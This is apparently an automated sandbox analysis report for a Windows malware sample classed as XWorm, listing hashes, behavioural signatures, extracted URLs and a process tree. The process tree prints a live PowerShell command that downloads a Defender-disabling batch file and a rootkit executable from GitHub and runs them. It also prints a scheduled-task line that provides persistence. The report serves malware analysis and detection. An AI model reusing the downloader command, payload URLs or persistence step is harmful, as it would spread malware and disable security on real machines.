Analysis
-
max time kernel
116s -
max time network
144s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
28/03/2025, 11:09
Static task
static1
Behavioral task
behavioral1
Sample
xxrkjufx.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
xxrkjufx.exe
Resource
win10v2004-20250314-en
General
-
Target
xxrkjufx.exe
-
Size
158KB
-
MD5
c3e0163f33f6f98ecc65bf60b9022561
-
SHA1
de888c64e6662b2534d473932f04621b14b151d9
-
SHA256
148ce380f43064c984912052dddb24ebce738607fcd942264133b849f9c024ec
-
SHA512
c4875a56bec414de6277aaa0828778ef920aab8305af8e256a59c997824ce4aff016392ce16a493fa778b0a3e09206701d2b31b4f78c39ab45027f9eee418547
-
SSDEEP
3072:LfFz74sSFhbKHj/3bOHNOOOOOOOHOOOOOOO/OOOOOOOk:LNAsyhbZOOOOOOOHOOOOOOO/OOOOOOO
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
-
install_file
MasonUSB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/2300-49-0x000000001A9C0000-0x000000001A9D2000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2796 powershell.exe 6 2796 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2796 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1264 xxrkjufx.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 raw.githubusercontent.com 11 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1816 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2796 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2300 xxrkjufx.exe Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 1264 xxrkjufx.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2300 wrote to memory of 2796 2300 xxrkjufx.exe 30 PID 2300 wrote to memory of 2796 2300 xxrkjufx.exe 30 PID 2300 wrote to memory of 2796 2300 xxrkjufx.exe 30 PID 2300 wrote to memory of 1816 2300 xxrkjufx.exe 32 PID 2300 wrote to memory of 1816 2300 xxrkjufx.exe 32 PID 2300 wrote to memory of 1816 2300 xxrkjufx.exe 32 PID 2460 wrote to memory of 1264 2460 taskeng.exe 36 PID 2460 wrote to memory of 1264 2460 taskeng.exe 36 PID 2460 wrote to memory of 1264 2460 taskeng.exe 36 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\xxrkjufx.exe"C:\Users\Admin\AppData\Local\Temp\xxrkjufx.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "xxrkjufx" /tr "C:\Users\Admin\AppData\Roaming\xxrkjufx.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:1816
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {FEA5D6DA-FED3-49F4-86C7-B21FA52F20C2} S-1-5-21-3533259084-2542256011-65585152-1000:XPAJOTIY\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Users\Admin\AppData\Roaming\xxrkjufx.exeC:\Users\Admin\AppData\Roaming\xxrkjufx.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1264
-
-
C:\Users\Admin\AppData\Roaming\xxrkjufx.exeC:\Users\Admin\AppData\Roaming\xxrkjufx.exe2⤵PID:644
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
71KB
MD583142242e97b8953c386f988aa694e4a
SHA1833ed12fc15b356136dcdd27c61a50f59c5c7d50
SHA256d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755
SHA512bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10
-
Filesize
183KB
MD5109cab5505f5e065b63d01361467a83b
SHA14ed78955b9272a9ed689b51bf2bf4a86a25e53fc
SHA256ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673
SHA512753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc
-
Filesize
158KB
MD5c3e0163f33f6f98ecc65bf60b9022561
SHA1de888c64e6662b2534d473932f04621b14b151d9
SHA256148ce380f43064c984912052dddb24ebce738607fcd942264133b849f9c024ec
SHA512c4875a56bec414de6277aaa0828778ef920aab8305af8e256a59c997824ce4aff016392ce16a493fa778b0a3e09206701d2b31b4f78c39ab45027f9eee418547